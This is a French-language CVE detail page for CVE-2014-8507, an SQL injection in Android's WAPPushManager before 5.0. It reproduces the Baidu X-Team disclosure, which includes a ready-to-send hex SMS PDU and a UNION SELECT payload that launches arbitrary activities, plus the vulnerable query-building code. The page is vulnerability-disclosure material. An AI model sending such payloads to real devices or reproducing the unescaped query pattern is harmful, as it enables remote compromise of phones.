CVE-2014-8507 : Détail

CVE-2014-8507

SQL Injection
A03-Injection
0.16%V3
Network
2014-12-15
16h27 +00:00
2015-04-28
11h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Multiple SQL injection vulnerabilities in the queryLastApp method in packages/WAPPushManager/src/com/android/smspush/WapPushManager.java in the WAPPushManager module in Android before 5.0.0 allow remote attackers to execute arbitrary SQL commands, and consequently launch an activity or service, via the (1) wapAppId or (2) contentType field of a PDU for a malformed WAPPush message, aka Bug 17969135.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 35382

Date de publication : 2014-11-25 23h00 +00:00
Auteur : Baidu X-Team
EDB Vérifié : No

INTRODUCTION ================================== In Android <5.0, a SQL injection vulnerability exists in the opt module WAPPushManager, attacker can remotely send malformed WAPPush message to launch any activity or service in the victim's phone (need permission check) DETAILS ================================== When a WAPPush message is received, the raw pdu is processed by dispatchWapPdu method in com\android\internal\telephony\WapPushOverSms.java Here the pdu is parsed to get the contentType & wapAppId: String mimeType = pduDecoder.getValueString(); ... /** * Seek for application ID field in WSP header. * If application ID is found, WapPushManager substitute the message * processing. Since WapPushManager is optional module, if WapPushManager * is not found, legacy message processing will be continued. */ if (pduDecoder.seekXWapApplicationId(index, index + headerLength - 1)) { index = (int) pduDecoder.getValue32(); pduDecoder.decodeXWapApplicationId(index); String wapAppId = pduDecoder.getValueString(); if (wapAppId == null) { wapAppId = Integer.toString((int) pduDecoder.getValue32()); } String contentType = ((mimeType == null) ? Long.toString(binaryContentType) : mimeType); if (DBG) Rlog.v(TAG, "appid found: " + wapAppId + ":" + contentType); The wapAppId & contentType can be literal string embeded in the pdu, to prove this, we can launch Android 4.4 emulator and send sms pdu by telnet console Type the following command in telnet console: sms pdu 0040000B915121551532F40004800B05040B84C0020003F001010A065603B081EAAF2720756e696f6e2073656c65637420302c27636f6d2e616e64726f69642e73657474696e6773272c27636f6d2e616e64726f69642e73657474696e67732e53657474696e6773272c302c302c302d2d200002066A008509036D6F62696C65746964696E67732E636F6D2F0001 And watch the radio logcat message in emulator, it prints out the extracted malicious appid: ' union select 0,'com.android.settings','com.android.settings.Settings',0,0,0-- However, since the WAPPushManager is optional, it is not installed in the emulator, so it then prints "wap push manager not found!" But if the WAPPushManager is installed, the extracted wapAppId & contentType will be send to its method processMessage: try { boolean processFurther = true; IWapPushManager wapPushMan = mWapPushManager; if (wapPushMan == null) { if (DBG) Rlog.w(TAG, "wap push manager not found!"); } else { Intent intent = new Intent(); intent.putExtra("transactionId", transactionId); intent.putExtra("pduType", pduType); intent.putExtra("header", header); intent.putExtra("data", intentData); intent.putExtra("contentTypeParameters", pduDecoder.getContentParameters()); int procRet = wapPushMan.processMessage(wapAppId, contentType, intent); So we go on checking the source code of WAPPushManager: https://android.googlesource.com/platform/frameworks/base/+/android-4.4.4_r2.0.1/packages/WAPPushManager/ In the method processMessage, the app_id and content_type is used in the method queryLastApp: public int processMessage(String app_id, String content_type, Intent intent) throws RemoteException { Log.d(LOG_TAG, "wpman processMsg " + app_id + ":" + content_type); WapPushManDBHelper dbh = getDatabase(mContext); SQLiteDatabase db = dbh.getReadableDatabase(); WapPushManDBHelper.queryData lastapp = dbh.queryLastApp(db, app_id, content_type); db.close(); Then in the method queryLastApp, both app_id and content_type is concatenated without any escaping to build the rawQuery sql input, protected queryData queryLastApp(SQLiteDatabase db, String app_id, String content_type) { String sql = "select install_order, package_name, class_name, " + " app_type, need_signature, further_processing" + " from " + APPID_TABLE_NAME + " where x_wap_application=\'" + app_id + "\'" + " and content_type=\'" + content_type + "\'" + " order by install_order desc"; if (DEBUG_SQL) Log.v(LOG_TAG, "sql: " + sql); Cursor cur = db.rawQuery(sql, null); Obviously, this is a SQL injection, for example, if app_id is as follows: ' union select 0,'com.android.settings','com.android.settings.Settings',0,0,0-- Then the package_name & class_name of query result would be: "com.android.settings" and "com.android.settings.Setttings" OK, then we return back to the method processMessage of WAPPushManager The appType, packageName, className is fully controllable, which will be used to set the component of an intent to start a activity or service That means, attacker can remotely launch any activity or service by construct malformed WAPPush Message (need permission check) if (lastapp.appType == WapPushManagerParams.APP_TYPE_ACTIVITY) { //Intent intent = new Intent(Intent.ACTION_MAIN); intent.setClassName(lastapp.packageName, lastapp.className); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); try { mContext.startActivity(intent); } catch (ActivityNotFoundException e) { Log.w(LOG_TAG, "invalid name " + lastapp.packageName + "/" + lastapp.className); return WapPushManagerParams.INVALID_RECEIVER_NAME; } } else { intent.setClassName(mContext, lastapp.className); intent.setComponent(new ComponentName(lastapp.packageName, lastapp.className)); if (mContext.startService(intent) == null) { Log.w(LOG_TAG, "invalid name " + lastapp.packageName + "/" + lastapp.className); return WapPushManagerParams.INVALID_RECEIVER_NAME; } } This has been fixed in android 5.0 (android bug id 17969135) https://android.googlesource.com/platform/frameworks/base/+/48ed835468c6235905459e6ef7df032baf3e4df6 TIMELINE ================================== 11.10.2014 Initial report to Android Security Team with the POC 14.10.2014 Reply from Android Security Team "are looking into it" 04.11.2014 Android 5.0 source code is open, the fix for this issue is found in change log, request status update 08.11.2014 Reply from Android Security Team "have fixed the issue in L (which is now in AOSP) and have provided patches to partners" 09.11.2014 Contact MITRE about this issue 17.11.2014 CVE-2014-8507 assigned 26.11.2014 Public Disclosure IDENTIFIERS ================================== CVE-2014-8507 Android id 17969135 CREDITS ================================== WangTao (neobyte) of Baidu X-Team WangYu of Baidu X-Team Zhang Donghui of Baidu X-Team -- BAIDU X-TEAM (xteam.baidu.com) An external link of this advisory can be found at http://xteam.baidu.com/?p=167

Products Mentioned

Configuraton 0

Google>>Android >> Version To (including) 4.4.4

Google>>Android >> Version 1.0

Google>>Android >> Version 1.1

Google>>Android >> Version 1.5

Google>>Android >> Version 1.6

Google>>Android >> Version 2.0

Google>>Android >> Version 2.0.1

Google>>Android >> Version 2.1

Google>>Android >> Version 2.2

Google>>Android >> Version 2.2

Google>>Android >> Version 2.2.1

Google>>Android >> Version 2.2.2

Google>>Android >> Version 2.2.3

Google>>Android >> Version 2.3

Google>>Android >> Version 2.3

Google>>Android >> Version 2.3.1

Google>>Android >> Version 2.3.2

Google>>Android >> Version 2.3.3

Google>>Android >> Version 2.3.4

Google>>Android >> Version 2.3.5

Google>>Android >> Version 2.3.6

Google>>Android >> Version 2.3.7

Google>>Android >> Version 3.0

Google>>Android >> Version 3.1

Google>>Android >> Version 3.2

Google>>Android >> Version 3.2.1

Google>>Android >> Version 3.2.2

Google>>Android >> Version 3.2.4

Google>>Android >> Version 3.2.6

Google>>Android >> Version 4.0

Google>>Android >> Version 4.0.1

Google>>Android >> Version 4.0.2

Google>>Android >> Version 4.0.3

Google>>Android >> Version 4.0.4

Google>>Android >> Version 4.1

Google>>Android >> Version 4.1.2

Google>>Android >> Version 4.2

Google>>Android >> Version 4.2.1

Google>>Android >> Version 4.2.2

Google>>Android >> Version 4.3

Google>>Android >> Version 4.3.1

Google>>Android >> Version 4.4

Google>>Android >> Version 4.4.1

Google>>Android >> Version 4.4.2

Google>>Android >> Version 4.4.3

Références

http://seclists.org/fulldisclosure/2014/Nov/86
Tags : mailing-list, x_refsource_FULLDISC
http://xteam.baidu.com/?p=167
Tags : x_refsource_MISC
http://www.securityfocus.com/bid/71310
Tags : vdb-entry, x_refsource_BID